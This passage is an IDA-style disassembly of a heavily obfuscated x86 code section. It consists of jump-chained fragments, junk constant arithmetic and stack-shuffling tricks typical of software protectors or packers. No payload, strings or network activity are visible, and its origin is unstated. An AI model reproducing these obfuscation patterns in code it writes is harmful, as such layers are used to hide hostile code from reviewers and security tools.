		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57F2B0
; ---------------------------------------------------------------------------


loc_581DC8:				; CODE XREF: ud2_____:00589CB8j
		mov	edx, edi
		jmp	loc_587936
; ---------------------------------------------------------------------------


loc_581DCF:				; CODE XREF: ud2_____:00585CB3j
		xchg	ebx, [esp]
		jmp	loc_581899
; ---------------------------------------------------------------------------


loc_581DD7:				; CODE XREF: ud2_____:00592CF3j
		sub	edi, esi
		add	edi, 2174A33h
		jmp	loc_5923B7
; ---------------------------------------------------------------------------


loc_581DE4:				; CODE XREF: ud2_____:00581345j
		push	ebx
		mov	ebx, 7B766682h
		inc	ebx
		sub	ebx, 25E668B4h
		sub	ebx, 3FCCBA1Bh
		jmp	loc_57E6E8
; ---------------------------------------------------------------------------


loc_581DFC:				; CODE XREF: ud2_____:00580063j
		pop	eax
		sub	edi, 59C863D8h
		add	edi, ebx
		add	edi, 59C863D8h
		push	eax
		mov	eax, 4F3628C8h
		sub	eax, 341F23E4h
		add	edi, eax
		jmp	loc_58CA99
; ---------------------------------------------------------------------------


loc_581E1D:				; CODE XREF: ud2_____:00589D90j
		pop	ebx
		add	ebx, 4
		push	2570h
		mov	[esp], esi
		jmp	loc_58BA10
; ---------------------------------------------------------------------------


loc_581E31:				; CODE XREF: ud2_____:0058359Fj
		mov	edx, [esp]
		jmp	loc_591D10
; ---------------------------------------------------------------------------


loc_581E39:				; CODE XREF: ud2_____:00588306j
		mov	[esp], ebx
		push	edi
		push	0CD02C7Ah
		pop	edi
		and	edi, 575C56B1h
		jmp	loc_591F31
; ---------------------------------------------------------------------------
		push	48D2h
		mov	[esp], ebp
		jmp	loc_588564
; ---------------------------------------------------------------------------


loc_581E5B:				; CODE XREF: ud2_____:0057F65Cj
		push	ebx
		jmp	loc_58E90B
; ---------------------------------------------------------------------------


loc_581E61:				; CODE XREF: ud2_____:0058F02Bj
		xor	dh, 9Ch
		add	ah, dh
		pop	edx
		jmp	loc_582057
; ---------------------------------------------------------------------------


loc_581E6C:				; CODE XREF: ud2_____:00591090j
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58353B
; ---------------------------------------------------------------------------


loc_581E7A:				; CODE XREF: ud2_____:00587AF3j
		neg	edx
		push	eax
		mov	eax, 60786C8Eh
		jmp	loc_5849CC
; ---------------------------------------------------------------------------


loc_581E87:				; CODE XREF: ud2_____:00592574j
		add	esp, 4
		push	edx
		mov	edx, 5C1D08C7h
		xor	edx, 5C1D08C3h
		sub	ebp, 334A094Fh
		jmp	loc_580EB2
; ---------------------------------------------------------------------------


loc_581EA1:				; CODE XREF: ud2_____:00586479j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_581F7E
; ---------------------------------------------------------------------------


loc_581EAC:				; CODE XREF: ud2_____:00589958j
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58FDB1
; ---------------------------------------------------------------------------


loc_581ED6:				; CODE XREF: ud2_____:0057F1A5j
		pop	ebx
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58B60E
; ---------------------------------------------------------------------------


loc_581EFA:				; CODE XREF: ud2_____:005818F2j
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edi, [esp]
		jmp	loc_592DD8
; ---------------------------------------------------------------------------


loc_581F0C:				; CODE XREF: ud2_____:0058ABDFj
		add	esp, 4
		xor	ax, cx
		mov	ecx, [esp]
		jmp	loc_588BE0
; ---------------------------------------------------------------------------


loc_581F1D:				; CODE XREF: ud2_____:005806C4j
		dec	ebx
		jmp	loc_584C03
; ---------------------------------------------------------------------------


loc_581F23:				; CODE XREF: ud2_____:0059117Bj
		push	0F37h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_580BE2
; ---------------------------------------------------------------------------


loc_581F37:				; CODE XREF: ud2_____:005874AAj
		push	5FEDh
		mov	[esp], ebp
		mov	ebp, 6D4A4E2Ah
		sub	edi, ebp
		pop	ebp
		add	edi, 1D7D2A66h
		add	edi, eax
		sub	edi, 1D7D2A66h
		jmp	loc_57E9FD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	44CEh
		jmp	loc_583368
; ---------------------------------------------------------------------------


loc_581F6B:				; CODE XREF: ud2_____:0057F375j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_584A50
; ---------------------------------------------------------------------------


loc_581F76:				; CODE XREF: ud2_____:0058F695j
		mov	[esp], ebp
		jmp	loc_580D9A
; ---------------------------------------------------------------------------


loc_581F7E:				; CODE XREF: ud2_____:00581EA7j
		not	ebp
		push	esi
		mov	esi, 34CA16CCh
		xor	ebp, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_58728F
; ---------------------------------------------------------------------------


loc_581F91:				; CODE XREF: ud2_____:00584EEAj
		push	798Eh
		mov	[esp], ecx
		jmp	loc_58EBAF
; ---------------------------------------------------------------------------


loc_581F9E:				; CODE XREF: ud2_____:005904A3j
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	edi
		mov	edi, 4
		jmp	loc_590DAB
; ---------------------------------------------------------------------------


loc_581FBB:				; CODE XREF: ud2_____:0059201Aj
		mov	eax, [esp]
		jmp	loc_583159
; ---------------------------------------------------------------------------


loc_581FC3:				; CODE XREF: ud2_____:00587040j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_58B905
; ---------------------------------------------------------------------------


loc_581FDB:				; CODE XREF: ud2_____:00592427j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59278E
; ---------------------------------------------------------------------------


loc_581FE7:				; CODE XREF: ud2_____:0058BF6Ej
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_580424
; ---------------------------------------------------------------------------


loc_581FF8:				; CODE XREF: ud2_____:005868D0j
		sub	esp, 4
		jmp	loc_590829
; ---------------------------------------------------------------------------


loc_582000:				; CODE XREF: ud2_____:0058BB86j
		mov	bx, 2A0Bh
		sub	bp, bx
		pop	bx
		sub	bp, dx
		add	bp, 2A0Bh
		pop	dx
		or	di, bp
		mov	ebp, [esp]
		add	esp, 4
		neg	di
		add	di, 0ECF7h
		jmp	loc_57F555
; ---------------------------------------------------------------------------


loc_58202C:				; CODE XREF: ud2_____:0058169Aj
		add	esp, 4
		jmp	loc_5908A7
; ---------------------------------------------------------------------------


loc_582037:				; CODE XREF: ud2_____:005907ACj
		add	dword ptr [esp], 4
		pop	ebp
		push	ebx
		mov	ebx, 7F8C599Eh
		not	ebx
		dec	ebx
		dec	ebx
		xor	ebx, 5F0D3F96h
		shl	ebx, 8
		jmp	loc_5895EB
; ---------------------------------------------------------------------------


loc_582057:				; CODE XREF: ud2_____:00581E67j
		sub	bh, 2Ch
		sub	bh, 0Dh
		add	bh, ah
		push	dx
		mov	dl, 0Dh
		add	bh, dl
		jmp	loc_5831AD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		push	ebx
		mov	ebx, 12637ADBh
		xor	ebx, 64B75289h
		jmp	loc_58EF4D
; ---------------------------------------------------------------------------


loc_58209A:				; CODE XREF: ud2_____:00591FFAj
		add	eax, 4
		jmp	loc_57F3D6
; ---------------------------------------------------------------------------


loc_5820A4:				; CODE XREF: ud2_____:00589615j
		pop	edi
		jmp	loc_587197
; ---------------------------------------------------------------------------


loc_5820AA:				; CODE XREF: ud2_____:0057F66Aj
		push	esi
		mov	esi, 321A667Ch
		mov	edi, 28ABC6E4h
		add	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		add	edx, ebp
		sub	edx, 5AC62D60h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5820CE:				; CODE XREF: ud2_____:0059060Ej
		pop	ecx
		add	esp, 4
		jmp	loc_58B576
; ---------------------------------------------------------------------------


loc_5820D7:				; CODE XREF: ud2_____:0057ED7Cj
		sub	word ptr [esp+2], 42C6h
		pop	bp
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5820E5:				; CODE XREF: ud2_____:0058703Aj
		pop	eax
		sub	ebx, 652D5848h
		sub	ebx, edi
		add	ebx, 652D5848h
		sub	ebx, 44A1396Ch
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_57E78F
; ---------------------------------------------------------------------------


loc_582108:				; CODE XREF: ud2_____:0058D183j
		xchg	ebx, ecx
		xchg	ecx, edx
		jmp	loc_5871B9
; ---------------------------------------------------------------------------


loc_582111:				; CODE XREF: ud2_____:00586B44j
		mov	ebx, 6A301189h
		jmp	loc_588939
; ---------------------------------------------------------------------------


loc_58211B:				; CODE XREF: ud2_____:005891DEj
		inc	ebp
		dec	ebp
		push	ebx
		jmp	loc_588E16
; ---------------------------------------------------------------------------


loc_582123:				; CODE XREF: ud2_____:00590035j
		xor	ebx, [esp]
		jmp	loc_58066F
; ---------------------------------------------------------------------------


loc_58212B:				; CODE XREF: ud2_____:005867E2j
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_586556
; ---------------------------------------------------------------------------


loc_58213E:				; CODE XREF: ud2_____:0058EEA5j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_585098
; ---------------------------------------------------------------------------


loc_582151:				; CODE XREF: ud2_____:00591482j
		push	eax
		mov	eax, esp
		jmp	loc_587FAD
; ---------------------------------------------------------------------------


loc_582159:				; CODE XREF: ud2_____:00591B53j
		add	edx, 4
		jmp	loc_58486D
; ---------------------------------------------------------------------------


loc_582164:				; CODE XREF: ud2_____:00586232j
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 3
		xor	ecx, 6CD473Fh
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58F85C
; ---------------------------------------------------------------------------


loc_582180:				; CODE XREF: ud2_____:00590D57j
		or	eax, 7B712EE7h
		add	eax, 589A5343h
		shl	eax, 6
		jmp	loc_57E195
; ---------------------------------------------------------------------------


loc_582192:				; CODE XREF: ud2_____:005814B6j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_58350F
; ---------------------------------------------------------------------------


loc_5821A3:				; CODE XREF: ud2_____:005806FAj
		add	[esp+4], edi
		jmp	loc_5872A3
; ---------------------------------------------------------------------------


loc_5821AC:				; CODE XREF: ud2_____:0058A14Fj
		pop	esp
		mov	[esp], cx
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58C946
; ---------------------------------------------------------------------------


loc_5821BD:				; CODE XREF: ud2_____:00585FB7j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5821C2:				; CODE XREF: ud2_____:00580E0Dj
		add	[esp+4], eax
		pop	eax
		pop	dword ptr [ecx]
		sub	dword ptr [ecx], 0CC7487Dh
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_588DEF
; ---------------------------------------------------------------------------


loc_5821EA:				; CODE XREF: ud2_____:0058B682j
		push	eax
		jmp	loc_588075
; ---------------------------------------------------------------------------


loc_5821F0:				; CODE XREF: ud2_____:0059099Bj
		sub	al, 98h
		mov	cx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0DCh
		and	cl, 0B3h
		shl	cl, 7
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_581A94
; ---------------------------------------------------------------------------


loc_582216:				; CODE XREF: ud2_____:005834C8j
		push	esi
		mov	esi, 7F3635AFh
		shl	esi, 8
		add	esi, 1F1B6D34h
		mov	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		jmp	loc_57FB3B
; ---------------------------------------------------------------------------


loc_58224C:				; CODE XREF: ud2_____:00592ED5j
		pop	esp
		mov	[esp], edi
		jmp	loc_591ABD
; ---------------------------------------------------------------------------


loc_582255:				; CODE XREF: ud2_____:0057E0AFj
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		push	38595DA9h
		jmp	loc_583B18
; ---------------------------------------------------------------------------


loc_582269:				; CODE XREF: ud2_____:0058CED8j
		add	edi, esi
		add	edi, 36743D06h
		add	edi, 5CE252B3h
		jmp	loc_58CFAB
; ---------------------------------------------------------------------------


loc_58227C:				; CODE XREF: ud2_____:0058D244j
		mov	[esp], edx
		jmp	loc_5819B8
; ---------------------------------------------------------------------------


loc_582284:				; CODE XREF: ud2_____:0058293Fj
		mov	edx, 0B3B9427Dh
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		dec	edi
		push	esi
		mov	esi, 75E957C2h
		and	edi, esi
		pop	esi
		add	edi, 32E913CFh
		push	4B1Fh
		mov	[esp], edi
		dec	dword ptr [esp]
		jmp	loc_5817B2
; ---------------------------------------------------------------------------


loc_5822B1:				; CODE XREF: ud2_____:005888F0j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5822BA:				; CODE XREF: ud2_____:00580842j
		mov	esi, 76BC5A0Ah
		sub	ebp, esi
		pop	esi
		jmp	loc_57EB41
; ---------------------------------------------------------------------------


loc_5822C7:				; CODE XREF: ud2_____:0058A062j
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	small 3D96h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5822E2:				; CODE XREF: ud2_____:005849A4j
		sub	esi, 241D5CA4h
		pop	ebp
		jmp	loc_585B9F
; ---------------------------------------------------------------------------


loc_5822EE:				; CODE XREF: ud2_____:00587806j
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58CCF2
; ---------------------------------------------------------------------------


loc_5822FA:				; CODE XREF: ud2_____:0058770Aj
		sub	eax, 238E4AF3h
		xor	eax, 66DC197Ch
		xor	eax, 3ABB7EE5h
		jmp	loc_58A94F
; ---------------------------------------------------------------------------


loc_58230E:				; CODE XREF: ud2_____:00580EDEj
		push	edx
		push	0C024638h
		pop	edx
		sub	edx, 99EB07A7h
		mov	ecx, edx
		pop	edx
		sub	ecx, 2D472F6Fh
		neg	ecx
		sub	ecx, 7478860Fh
		add	edx, 129F11C8h
		sub	edx, ecx
		sub	edx, 129F11C8h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58FD7F
; ---------------------------------------------------------------------------


loc_582345:				; CODE XREF: ud2_____:00582F2Aj
		mov	edi, esp
		add	edi, 4
		jmp	loc_582551
; ---------------------------------------------------------------------------


loc_582352:				; CODE XREF: ud2_____:00580585j
		shl	ebx, 1
		xor	ebx, 8CDE3050h
		xor	edx, ebx
		jmp	loc_581AFD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 49EC3AF6h
		jmp	loc_58DBFE
; ---------------------------------------------------------------------------
		lodsb
		push	7B9Bh
		jmp	loc_590CDC
; ---------------------------------------------------------------------------


loc_58237E:				; CODE XREF: ud2_____:0058C56Fj
		push	7148h
		mov	[esp], edx
		push	1Ch
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_58B836
; ---------------------------------------------------------------------------


loc_58239F:				; CODE XREF: ud2_____:0058907Bj
		sub	ch, 0Ah
		add	ch, 6Eh
		add	ch, 55h
		or	ah, ch
		pop	cx
		push	ecx
		mov	ch, 0AEh
		or	ah, ch
		jmp	loc_58E9B6
; ---------------------------------------------------------------------------


loc_5823B6:				; CODE XREF: ud2_____:00589D87j
		add	esp, 4
		jmp	loc_58EF21
; ---------------------------------------------------------------------------


loc_5823C1:				; CODE XREF: ud2_____:00588830j
		pop	esp
		mov	[esp], eax
		mov	eax, 5E926D16h
		shr	eax, 6
		push	edi
		mov	edi, 1B9F29ADh
		not	edi
		dec	edi
		inc	edi
		not	edi
		add	edi, 0E5DB2008h
		sub	eax, edi
		pop	edi
		push	6D03h
		mov	[esp], eax
		push	edi
		mov	edi, 64AA2747h
		xor	[esp+4], edi
		jmp	loc_591970
; ---------------------------------------------------------------------------


loc_5823F9:				; CODE XREF: ud2_____:0058BCABj
		shl	dl, 3
		and	dl, 6
		xor	dl, 0Ch
		mov	al, dl
		pop	edx
		jmp	loc_5852C4
; ---------------------------------------------------------------------------


loc_58240A:				; CODE XREF: ud2_____:0057E127j
		add	esi, 2213B51h
		add	esi, 1EB5162Fh
		jmp	loc_580BED
; ---------------------------------------------------------------------------


loc_58241B:				; CODE XREF: ud2_____:0058565Cj
		push	eax
		push	edx
		mov	dl, bh
		push	ecx
		mov	ch, dl
		mov	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		mov	dh, ah
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		xor	al, dh
		mov	dx, [esp]
		jmp	loc_590E10
; ---------------------------------------------------------------------------


loc_582442:				; CODE XREF: ud2_____:0058D45Aj
		push	edx
		mov	dh, 61h
		jmp	loc_5837D2
; ---------------------------------------------------------------------------


loc_58244A:				; CODE XREF: ud2_____:0057F22Fj
		add	esp, 4
		push	ecx
		mov	ecx, 37FE0625h
		add	edx, ecx
		pop	ecx
		add	edx, ebp
		push	eax
		mov	eax, 37FE0625h
		sub	edx, eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_587C90
; ---------------------------------------------------------------------------


loc_58246C:				; CODE XREF: ud2_____:005846CEj
		mov	esp, [esp]
		jmp	loc_57E3A7
; ---------------------------------------------------------------------------


loc_582474:				; CODE XREF: ud2_____:00588C40j
		shr	edx, 6
		sub	edx, 9E357348h
		sub	eax, edx
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_583C78
; ---------------------------------------------------------------------------


loc_582488:				; CODE XREF: ud2_____:00586CE2j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58B418
; ---------------------------------------------------------------------------


loc_582496:				; CODE XREF: ud2_____:0057FF87j
		add	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_58C453
; ---------------------------------------------------------------------------


loc_5824A0:				; CODE XREF: ud2_____:0058BE11j
		push	edi
		push	eax
		push	708E40A8h
		jmp	loc_581680
; ---------------------------------------------------------------------------


loc_5824AC:				; CODE XREF: ud2_____:0058ADC4j
		mov	edx, 3EB05B6Ah
		jmp	loc_584823
; ---------------------------------------------------------------------------


loc_5824B6:				; CODE XREF: ud2_____:00583DDAj
		push	eax
		mov	eax, 4707125Ch
		jmp	loc_58AF81
; ---------------------------------------------------------------------------


loc_5824C1:				; CODE XREF: ud2_____:0057F3D1j
		add	edi, 3A527EF5h
		jmp	loc_57EFC0
; ---------------------------------------------------------------------------


loc_5824CC:				; CODE XREF: ud2_____:005871B4j
		pop	eax
		push	720Eh
		mov	[esp], edi
		push	2
		pop	edi
		sub	esi, 6ED0285h
		sub	esi, edi
		add	esi, 6ED0285h
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_583A69
; ---------------------------------------------------------------------------


loc_5824F9:				; CODE XREF: ud2_____:00584C99j
		or	eax, 0A617B20h
		dec	eax
		shr	eax, 5
		jmp	loc_5831D3
; ---------------------------------------------------------------------------


loc_582507:				; CODE XREF: ud2_____:00592743j
		mov	esp, [esp]
		mov	ax, [esp]
		push	2F76h
		mov	[esp], ebp
		mov	ebp, esp
		push	162Eh
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_592138
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5920F2
; ---------------------------------------------------------------------------


loc_582536:				; CODE XREF: ud2_____:005891B4j
		pop	dx
		or	dx, 5682h
		inc	dx
		jmp	loc_57F4D4
; ---------------------------------------------------------------------------


loc_582544:				; CODE XREF: ud2_____:005884C0j
		mov	edx, ebp
		mov	ecx, edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_587520
; ---------------------------------------------------------------------------


loc_582551:				; CODE XREF: ud2_____:0058234Dj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_57FA69
; ---------------------------------------------------------------------------


loc_582560:				; CODE XREF: ud2_____:00590772j
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 0D7349EDh
		add	esi, 23037ABFh
		neg	esi
		and	esi, 50E75AB2h
		not	esi
		xor	esi, 0BF7EE5EBh
		push	esi
		jmp	loc_592678
; ---------------------------------------------------------------------------


loc_58258A:				; CODE XREF: ud2_____:00586FCDj
		sub	ebx, eax
		push	eax
		mov	eax, 6DB14D9Ch
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ebx, 46BA5B69h
		push	esi
		mov	esi, 2A9C6B15h
		xor	esi, 217C3C2Eh
		push	eax
		mov	eax, 43763A92h
		add	eax, 54F728A4h
		jmp	loc_57F0C5
; ---------------------------------------------------------------------------


loc_5825BD:				; CODE XREF: ud2_____:00584782j
		mov	eax, esp
		jmp	loc_591BBC
; ---------------------------------------------------------------------------


loc_5825C4:				; CODE XREF: ud2_____:00588F2Aj
		sub	ebx, esi
		pop	esi
		shl	ebx, 2
		push	ebp
		mov	ebp, 56B26FDh
		add	ebp, 1
		add	ebp, 714E562h
		jmp	loc_5828C1
; ---------------------------------------------------------------------------


loc_5825E1:				; CODE XREF: ud2_____:00587817j
		push	ebx
		jmp	loc_583FB3
; ---------------------------------------------------------------------------


loc_5825E7:				; CODE XREF: ud2_____:00580452j
		add	edi, edx
		sub	edi, 0E79E5h
		add	edi, 0EBA3FE1h
		pop	edx
		push	ebx
		mov	ebx, 313B20BFh
		jmp	loc_57F2E5
; ---------------------------------------------------------------------------


loc_582601:				; CODE XREF: ud2_____:0058A4BCj
		mov	[esp], ebx
		push	29DBh
		mov	[esp], esi
		jmp	loc_590341
; ---------------------------------------------------------------------------


loc_582611:				; CODE XREF: ud2_____:0058C173j
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58EA1B
; ---------------------------------------------------------------------------


loc_58262C:				; CODE XREF: ud2_____:0057E5EAj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58FCE5
; ---------------------------------------------------------------------------


loc_58264A:				; CODE XREF: ud2_____:00587229j
		pop	eax
		push	eax
		jmp	loc_592B1B
; ---------------------------------------------------------------------------


loc_582651:				; CODE XREF: ud2_____:005892F2j
		push	esp
		push	dword ptr [esp]
		jmp	loc_58B3DC
; ---------------------------------------------------------------------------


loc_58265A:				; CODE XREF: ud2_____:0058598Fj
		push	eax
		mov	eax, 57D830CCh
		dec	eax
		sub	eax, 1D06257Ah
		push	esi
		mov	esi, 1E1D21D5h
		push	ebp
		mov	ebp, 0EFF47CFBh
		jmp	loc_585F1F
; ---------------------------------------------------------------------------


loc_582677:				; CODE XREF: ud2_____:00588354j
		xor	bh, 0DBh
		push	edx
		mov	dl, 8
		jmp	loc_586BA5
; ---------------------------------------------------------------------------


loc_582682:				; CODE XREF: ud2_____:0058A3A3j
		xor	edi, 0FFEDCC78h
		add	ebx, edi
		jmp	loc_585DAF
; ---------------------------------------------------------------------------


loc_58268F:				; CODE XREF: ud2_____:005893D1j
		mov	[esp], eax
		push	edx
		mov	edx, 59784FC4h
		push	esi
		jmp	loc_58A912
; ---------------------------------------------------------------------------


loc_58269E:				; CODE XREF: ud2_____:005800FFj
		push	edi
		mov	edi, 33E22C93h
		jmp	loc_583F9E
; ---------------------------------------------------------------------------


loc_5826A9:				; CODE XREF: ud2_____:0058E81Ej
		pop	dword ptr [esp]
		push	66B1h
		jmp	loc_584857
; ---------------------------------------------------------------------------


loc_5826B6:				; CODE XREF: ud2_____:00583A64j
		xor	esi, 3F85EE89h
		add	eax, esi
		jmp	loc_58EFAE
; ---------------------------------------------------------------------------


loc_5826C3:				; CODE XREF: ud2_____:0058D709j
		mov	esp, [esp]
		push	dx
		not	word ptr [esp]
		pop	dx
		jmp	loc_5851F0
; ---------------------------------------------------------------------------


loc_5826D3:				; CODE XREF: ud2_____:00585285j
		neg	edx
		add	edx, 2DDC756Eh
		add	edx, 3FC5F92Fh
		and	esi, edx
		pop	edx
		shr	esi, 8
		jmp	loc_5882FE
; ---------------------------------------------------------------------------


loc_5826EC:				; CODE XREF: ud2_____:00588EE8j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58C000
; ---------------------------------------------------------------------------


loc_5826F5:				; CODE XREF: ud2_____:00588725j
		mov	esi, 9967B1Ch
		xor	esi, 9967B18h
		sub	edi, 4A4259C2h
		add	edi, esi
		push	ebp
		jmp	loc_58AB7B
; ---------------------------------------------------------------------------


loc_58270E:				; CODE XREF: ud2_____:0058A51Fj
		pop	esp
		push	ecx
		mov	cl, 0FCh
		not	cl
		shr	cl, 4
		inc	cl
		jmp	loc_591279
; ---------------------------------------------------------------------------


loc_58271E:				; CODE XREF: ud2_____:00581494j
		push	ecx
		push	6C13h
		jmp	loc_586AAF
; ---------------------------------------------------------------------------


loc_582729:				; CODE XREF: ud2_____:005804BEj
		and	esi, 61917542h
		xor	esi, 696E39C5h
		or	edi, esi
		jmp	loc_58F5A8
; ---------------------------------------------------------------------------


loc_58273C:				; CODE XREF: ud2_____:0057EC32j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_592E59
; ---------------------------------------------------------------------------


loc_58275D:				; CODE XREF: ud2_____:0058E554j
		add	ebx, 7E254ADBh
		shl	ebx, 3
		push	ecx
		mov	ecx, 70B2484Ch
		jmp	loc_57E4A1
; ---------------------------------------------------------------------------


loc_582771:				; CODE XREF: ud2_____:00591724j
		push	ebx
		mov	ebx, 2D053AB9h
		sub	ebx, 2D053AB7h
		sub	edx, 15652F8Ch
		add	edx, 24EF1857h
		add	edx, ebx
		jmp	loc_586549
; ---------------------------------------------------------------------------


loc_582790:				; CODE XREF: ud2_____:00583106j
		or	ebx, 6405255Eh
		add	ebx, 0FFFFFFFFh
		push	edi
		jmp	loc_5903A7
; ---------------------------------------------------------------------------


loc_5827A2:				; CODE XREF: ud2_____:0058D830j
		sub	esi, edi
		pop	edi
		add	ebx, esi
		pop	esi
		push	edx
		push	eax
		push	4AB248DFh
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 4AB248DBh
		push	edi
		mov	edi, eax
		mov	edx, edi
		pop	edi
		jmp	loc_57FAB8
; ---------------------------------------------------------------------------


loc_5827C5:				; CODE XREF: ud2_____:0058AEC2j
		push	ecx
		mov	cl, 0F6h
		jmp	loc_583B47
; ---------------------------------------------------------------------------


loc_5827CD:				; CODE XREF: ud2_____:0059053Dj
		xchg	eax, ebx
		not	eax
		jmp	loc_57EC60
; ---------------------------------------------------------------------------


loc_5827D5:				; CODE XREF: ud2_____:00584DF0j
		and	bl, 0D5h
		jmp	loc_588379
; ---------------------------------------------------------------------------


loc_5827DD:				; CODE XREF: ud2_____:0058D659j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_58993B
; ---------------------------------------------------------------------------


loc_5827EB:				; CODE XREF: ud2_____:00585E2Bj
		add	al, dh
		jmp	loc_58AA48
; ---------------------------------------------------------------------------


loc_5827F2:				; CODE XREF: ud2_____:0057F479j
		mov	esp, [esp]
		mov	[esp], ecx
		push	74B8h
		mov	[esp], eax
		mov	eax, 3796F15h
		mov	ecx, eax
		pop	eax
		shr	ecx, 1
		inc	ecx
		add	ecx, 5B0614Eh
		or	ebx, ecx
		pop	ecx
		jmp	loc_584BF7
; ---------------------------------------------------------------------------


loc_582819:				; CODE XREF: ud2_____:0057F675j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5811C7
; ---------------------------------------------------------------------------


loc_582830:				; CODE XREF: ud2_____:0058C20Cj
		mov	[esp], ecx
		mov	ecx, 3Ch
		push	edi
		push	esi
		mov	esi, 6C0E6525h
		jmp	loc_588946
; ---------------------------------------------------------------------------


loc_582844:				; CODE XREF: ud2_____:0057E78Aj
		push	esi
		push	edi
		mov	edi, 66A248D7h
		and	edi, 6BC14394h
		and	edi, 357B0B92h
		or	edi, 7DDE5CF8h
		not	edi
		xor	edi, 4118809Ch
		mov	esi, edi
		jmp	loc_589489
; ---------------------------------------------------------------------------


